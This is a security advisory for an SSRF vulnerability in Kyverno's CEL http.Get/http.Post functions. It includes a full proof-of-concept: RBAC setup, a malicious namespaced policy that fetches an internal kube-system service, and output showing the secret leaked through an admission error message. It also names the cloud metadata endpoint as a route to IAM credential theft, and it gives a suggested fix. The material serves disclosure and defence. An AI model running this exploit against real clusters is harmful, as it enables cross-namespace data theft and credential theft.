github.com/kyverno/kyverno
Affected
- introduced
1.16.0, fixed1.17.0(semver)
Fixed versions
1.17.0
Fix
- Fixed version
1.17.0go get github.com/kyverno/[email protected]
Advisory
Also known as: BIT-kyverno-2026-4789, CVE-2026-4789, GO-2026-5621
Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access
Summary
A Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library (pkg/cel/libs/http/) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages.
Affected Versions
policies.kyverno.io CRDs enabled, which is the default)Details
The http.Get() and http.Post() functions available in CEL-based policies (policies.kyverno.io API group) do not enforce any URL restrictions. Unlike resource.Lib which enforces namespace boundaries for namespaced policies, the http.Lib allows unrestricted access to any URL.
Vulnerable Code: pkg/cel/libs/http/http.go
func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil)
// NO URL VALIDATION - no blocklist, no namespace restrictions
...
}
Contrast with resource.Lib which enforces namespace:
// pkg/cel/libs/resource/lib.go
func Lib(namespace string, v *version.Version) cel.EnvOption {
return cel.Lib(&lib{namespace: namespace, version: v}) // Namespace enforced
}
This is a different code path from previously reported issues:
pkg/engine/apicall/apiCall.go (URLPath) - Fixedpkg/engine/apicall/executor.go (Service.URL) - Different feature (apiCall vs CEL http)pkg/cel/libs/http/http.go (CEL http.Get/http.Post) - Not fixedPoC
Tested on Kyverno v1.16.2 (Chart 3.6.2) on Kubernetes v1.35.0 (kind).
A complete automated PoC script is attached. Manual steps below:
1. Setup attacker with namespace-scoped permissions
kubectl create namespace attacker-ns
kubectl create serviceaccount namespace-admin -n attacker-ns
cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: namespace-admin-role
namespace: attacker-ns
rules:
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["create", "get", "list"]
- apiGroups: ["policies.kyverno.io"]
resources: ["namespacedvalidatingpolicies"]
verbs: ["create", "get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: namespace-admin-binding
namespace: attacker-ns
subjects:
- kind: ServiceAccount
name: namespace-admin
namespace: attacker-ns
roleRef:
kind: Role
name: namespace-admin-role
apiGroup: rbac.authorization.k8s.io
EOF
2. Create sensitive internal service (simulating internal API or cloud metadata)
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: internal-api
namespace: kube-system
labels:
app: internal-api
spec:
containers:
- name: server
image: hashicorp/http-echo
args:
- "-text={\"secret\": \"STOLEN_INTERNAL_SECRET_12345\", \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"}"
- "-listen=:8080"
---
apiVersion: v1
kind: Service
metadata:
name: internal-api
namespace: kube-system
spec:
selector:
app: internal-api
ports:
- port: 80
targetPort: 8080
EOF
3. Verify attacker cannot access kube-system directly
kubectl auth can-i get pods -n kube-system --as=system:serviceaccount:attacker-ns:namespace-admin
# Output: no
4. Create malicious NamespacedValidatingPolicy (as attacker)
cat <<EOF | kubectl apply --as=system:serviceaccount:attacker-ns:namespace-admin -f -
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedValidatingPolicy
metadata:
name: cel-ssrf-poc
namespace: attacker-ns
spec:
matchConstraints:
resourceRules:
- apiGroups: [""]
apiVersions: ["v1"]
operations: ["CREATE"]
resources: ["configmaps"]
variables:
- name: stolenData
expression: |
http.Get('http://internal-api.kube-system.svc.cluster.local')
validations:
- expression: "false"
message: "Validation failed"
messageExpression: |
'SSRF_LEAKED: secret=' + variables.stolenData['secret'] + ' token=' + variables.stolenData['token']
EOF
5. Trigger exploit and exfiltrate data
kubectl create configmap trigger --from-literal=x=y -n attacker-ns \
--as=system:serviceaccount:attacker-ns:namespace-admin
6. Result - Secret data exfiltrated
error: failed to create configmap: admission webhook "nvpol.validate.kyverno.svc-fail"
denied the request: Policy cel-ssrf-poc failed:
SSRF_LEAKED: secret=STOLEN_INTERNAL_SECRET_12345 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Impact
http://169.254.169.254/... allows stealing AWS/GCP/Azure IAM credentialsresource.Lib enforces namespace boundariesAffected Policies
All CEL-based namespaced policies in policies.kyverno.io API group:
NamespacedValidatingPolicyNamespacedMutatingPolicy NamespacedDeletingPolicyNamespacedImageValidatingPolicySuggested Fix
Add namespace and URL restrictions to pkg/cel/libs/http/http.go, similar to how resource.Lib enforces namespace boundaries:
type lib struct {
namespace string // Add namespace parameter
version *version.Version
}
func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
if err := r.validateURL(url); err != nil {
return nil, fmt.Errorf("blocked URL: %w", err)
}
// ... existing code
}
func (r *contextImpl) validateURL(urlStr string) error {
// Block cloud metadata (169.254.0.0/16)
// Block localhost/loopback (127.0.0.0/8)
// For namespaced policies: restrict to same namespace services only
}
Attached
kyverno-cel-ssrf-poc.sh
Credit
Discovered by: Igor Stepansky
Organization: Orca Security
Email: [email protected]
Personal Email: [email protected]
High Basis: The source's own band: HIGH
1.16.0, fixed 1.17.0 (semver)1.17.0
1.17.0go get github.com/kyverno/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0